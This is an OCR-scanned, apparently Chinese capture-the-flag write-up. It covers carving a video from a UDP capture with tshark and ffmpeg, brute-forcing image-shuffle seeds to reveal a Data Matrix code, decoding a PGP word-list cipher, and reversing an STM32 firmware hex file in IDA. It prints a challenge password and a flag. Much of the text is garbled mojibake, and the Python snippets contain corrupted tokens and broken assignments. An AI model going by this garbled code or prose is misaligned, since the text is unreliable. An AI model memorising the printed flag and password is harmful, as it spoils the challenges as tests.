SeNmEEIRE UDP RFHREFEASG:


af://n1272

tshark -r password.pcapng -Y "udp.port == 5555" -T fields -e data >
udp_stream. txt

R 7 NSRRI TR (MSERINRE—RRUSHSIRI AT, EATET
RFES, tshark BEIEMWHN T H7HFIE) ¢

import binascii

with open('udp_stream.txt', 'r') as f:
hex_data = f.read().replace('\n', '")

bin_data = binascii.unhex1ify(hex_data)

with open('extracted_video.ts', 'wb') as f:
f.write(bin_data)

s8R ffmpeg EHEENEY TS SHEEHR/9 MKV 3244
ffmpeg -i extracted_video.ts -c copy recovered.mkv

BRIFE45EHIZEE | t15tH3ApAs SW#RD* FORFL@I

= password.txt X

M WiE  BA

the password is

1t15tH3ApAsS5W#RD*fORFL@9

f#Fchallenge. zip R B MNIZRAFINNZRERE R, IIEEARARERHE R MENER = TEE&
RAUTIINE, (EARNIERMTEEEARX), HAREIRZRT just 50 - 70, BNEIAEE—TRIA

import numpy as np
import cv2
import os

def decode(input_image, output_image, seed):
np.random.seed(seed)
to_hide = cv2.imread(input_image)

if to_hide 1is None:
print(f"Error: Unable to load image {input_imagel}")

return

to_hide_array = np.asarray(to_hide)



shape = to_hide_array.shape

row_indices Tist(range(shape[0]))

Tist(range(shape[1]))

col_indices

np.random.shuffle(row_indices)
np.random.shuffle(col_indices)

np.argsort(row_indices)
np.argsort(col_indices)

inverse_row_indices
inverse_col_indices

to_hide_array = to_hide_array[inverse_row_indices, :]
to_hide_array to_hide_array[:, inverse_col_indices]

cv2.imwrite(output_image, to_hide_array)
print(f'Decoded image saved as {output_imagel}")

def brute_force_decode(input_image, output_folder, seed_range):
if not os.path.exists(output_folder):
os.makedirs(output_folder)

for seed in seed_range:
output_image = os.path.join(output_folder, f"decoded_{seed}.png")
decode(input_image, output_image, seed)

def mainQ:
input_image = "encoded.png"
output_folder = "decode"
seed_range = range(50, 71)

brute_force_decode(input_image, output_folder, seed_range)

if __name__ == "_main__":

main()

&a&AMseed H63A9AHIEZENData MatrixZ:i3

[



EFELRUE: https://products.aspose.app/barcode/zh-hans/recognize/datamatrix# ,

152

RBI—TF

I randomly found a word 1list to encrypt the flag. I only remember that wikipedia
said this word Tist is similar to the NATO phonetic alphabet.

crumpled chairlift freedom chisel island dashboard crucial kickoff crucial
chairlift drifter classroom highchair cranky clamshell edict drainage fallout
clamshell chatter chairlift goldfish chopper eyetooth endow chairlift edict
eyetooth deadbolt fallout egghead chisel eyetooth cranky crucial deadbolt chatter
chisel egghead chisel crumpled eyetooth clamshell deadbolt chatter chopper
eyetooth classroom chairlift fallout drainage klaxon

PRIRI RBEHLIR B T — A IASIR RN ERE (SRS , RADEGEREA XA RS R TIb L S T
B, , REKEIPGPIRLICE

HEIE T R

3
- '“—‘.) HilimaRE b

SEEELMUARRS: https://goto.pachanka.org/crypto/pgp-wordlist/, {8%lflag:

Q ezeEEn

FB e AGER v

PGPl (A0 "RIFSHSZEAICE  WHREYRIETE) | £ EASmEths o HeRnmlE, BNEEEL
PR, 1995 EHIES RIS A IPCPMAS RS R SR, [PPGPRILES b REmNI A S e aa |

H#HEBRIDiscord, IRC, LINE, QQF TelegramZF & FEirRauillARMA.

PGP 3 (e

1, BT asE—MNARHERR 5256 N F R EE XL,

g e

TN BGE

00 aardvark
01 absurd
02 accrue
03 acme

04 adrift

05 adult

(B2
adroitness
adviser
aftermath
aggregate
alkali

almighty

+oNi | i [

40
4
42
43
44
45

crackdown | Dakota
cranky decadence
crowfoot | December
crucial decimal
crumpled | designing

crusade detector

HiE @mE =EhE IR v

i
80
81
82
83
84
85

il
merit
minnow
miser
Mohawk
mural

music

D0g3xGC{CON9rA7ULa710n5_YOU_HaV3_ACH13V3D_7H15_90al}

PRESHERITE S

Bidtips T REIESFrEE A Astm32f103c8t6, FRLAR I DARMEIXIFIRE |

(B
intention
inventive
Istanbul
Jamaica
Jupiter
leprosy

HEEBERR MRKS TR

i)

s BE
23

[GFN

O e

O =

=E

O =&
O=

HE (M)
(@)=

0 ==
[@F-


https://products.aspose.app/barcode/zh-hans/recognize/datamatrix#
https://goto.pachanka.org/crypto/pgp-wordlist/
af://n1293

* ARM architecture options X

Base architecture VFF instructions

[y ™ o h—.__‘
() veent

@ Load a new file ® ARM specific options

Load File C:\Uzers\86185\Decktop\FiE T E \attacknentsidenol hex 25 (@R @ ma
i Simplify inst: ti
Intel Hex Object Format [hex.dll] 8 singli by instrustions () AmEET O vees
Binary file [) Disable pointer dereferencing
[ o automatio ARE-THINS swi tch () AT O vrera
8 Disable BL junps detection O 33eale () vpve
Proceszor type (double—click to set)

v T ARN processers Scattered WOVTMOVH pairs snalysis o B e
ARN Big-endian ARMNE () Leare as is BE-S code (ARME)
ARK Little-endian AR O smevsre
- . © valid addresses only
v Alpha series ) @ mre Thunb instruotions
ALPHA big endian alphab () Convert agressively b
ALPHA little endian alphal o O
. ARMuZ
fmalon IR Edit AR archiberturs options O Thomb
Anal}lvs. L |
Loading segnent 0x00000000 - Hernel optionm oo () KM T-RR [e] Thbz
Enabled — =
| Base architecture: metiarm H H
Loading offset 000000000 (B Indicator enabled [OF.. A instructions

ARM instructions: Yes
# Thurb instructions: Thubb—? Ho
Options Thunt2-EE extension: Ves O s

. . VFE instructions: YFEvE Tes
Loading options B create segnents Load & Advanoed SN imstructions (NEON): NEOHS
Fill sement zeps Create FLAT aroup Renand ¥Scale architesture Ves Advanced SO (NEQH) Wireless W0E
18 Load as code segnent (i Aot Ao Memual Intel Wireless M Technelogy: VG2
¥o Home
)8 Cancel Hel,
r Yes L)
Yes with Bk WGy 2
w8
0% Caneel Help
4
1 EEHA T LABRIRRD
TENRELT hexrayiift, REmFEREHAIR RS :
¥ IDA - demo.hex CAL hex = =] X

File Edit Jump Search View Debugger Lumina Options Windows Help
vl mmn s 3 A D0 dd e R X > DO ] @
N | 's! | 7+ ¥&r [ ] ] § [ N

Library function M Reqular function Ml Instruction [ Data I Unexplored | Externel synbol M Lunina fonction

Fanctions oe x| @ O Viewh 0 @ Pseadocoden a @ Hex View o @ Structures a = Enns

o) Taports a # Exports [x]

Woid _noreturn start()
{

nction name :
sub_80001.28 i int ve; // o

sub_8000164 ©5  sub_80007EC();

sub_800016E © 6  vo = sub_80000FA((char *)&loc_800@0EC + 1);
sub_8000172 ® 7  sub_8000172(v0);

sub_800014C i
sub_80001D0
sub_80001F8

sub_80004B8
sub_8000518

Line 7 of 41

i Gragh overvier o0& x

UNKNORN starc:1 (8000150)

[ outpue
In general, the decompiler checks the segment permissions, class, and name
to determine if it is read-only.
-> 0K
80000FA: using guessed type int _ fastcall sub_80000FA4(_DWORD);
8000172: using guessed type void _ fastcall _ noreturn sub_8000172(_DWORD); 1
80PO7EC: using guessed type int sub_80007EC(void);
Fython

AU: idle Down  Disk: 12GB

BEIFREHTREOT, HEREETEE, XETUERRBPENTENELEE, EXYE—(5k2
FIMFHHZER




¥ IDA - demo.hex C:\U: CES 1.hex
File Edit Jump Search View Debugger Lumina Options Windows Help
BH evavamn 8 3 A @O dct e FvF X > DO b ~ | e 6 e P

<
N

Library function [l Regular function Ml Instruction | Data W Unexplored | External symbol Ml Lumina function
7] Fanctions 0 e x A Viewh [x) Paendocodeh 8 @ Hex View-t

1Void _noreturn sub_8000850()

& Strustures e B Brums

Function name
7| sub_80002DE

[sp+4h] [bp-14h]
int16 v5; // [sp+14h] [bp-4h] BYREF

st ¢ | .o ‘| ¢ [ | | B | I

£ b, 8000430 9 char v6; 1 [bp-2h
] 2005440 10 char v7; // [sp+17h] [bp-1h]
Tsub_3 1
7] sub_goo0sas 12 sub_8000654(8, 1);
£ sub_8000458 13 Vs 1;
£ | sub_80004B8 14 v7 = 16;
£ sub_8000518 5w =35
I s Booceze 16 sub_8000518(1073810432, &/5);
7] sub_8000844 17 vo = 0;
7 mullsub_1 18 while (1)
7| nullsub_s 19
£ sub_8000654
7] mulTsub_2 ;7 do
£ | sub_8000678
£] sub_8000700 22
£| sub_8000708 23
7| millsub 5 2%
F| sub_80007EC 25
f 26
— 7 {
Line 41 of 41 28 v ;
i Graph overview ae x 29 v H
30 i
31 {
32 sub_80004B8(1000 * (2 * vA[0] + 1) + 100 * (2 * vA[1] + 1) + 10 * (2 * v4[2] + 1) + 2 * va[3] + 1);
33 vo <
34 }
KGO sub_8000850:1 (8000850)
T outpur x
In general, the decompiler checks the segment permissions, class, and name
to determine if it is read-only.
-
80000F4: using guessed type int _ fastcall sub_800@0F4(_DHORD); "

8000172: using guessed type void _fastcall _noreturn sub_8000172(_DWORD);
80007EC: using guessed type int sub_80007EC(void);

Python

AU: idle Down  Disk: 1268

BIRERBRR, Mbingl@REI=fM
ERENEEREN, EERAIRENIRETESEElag

173011 B15AFSAMAIETDE8432, AJLANIESMA /98432
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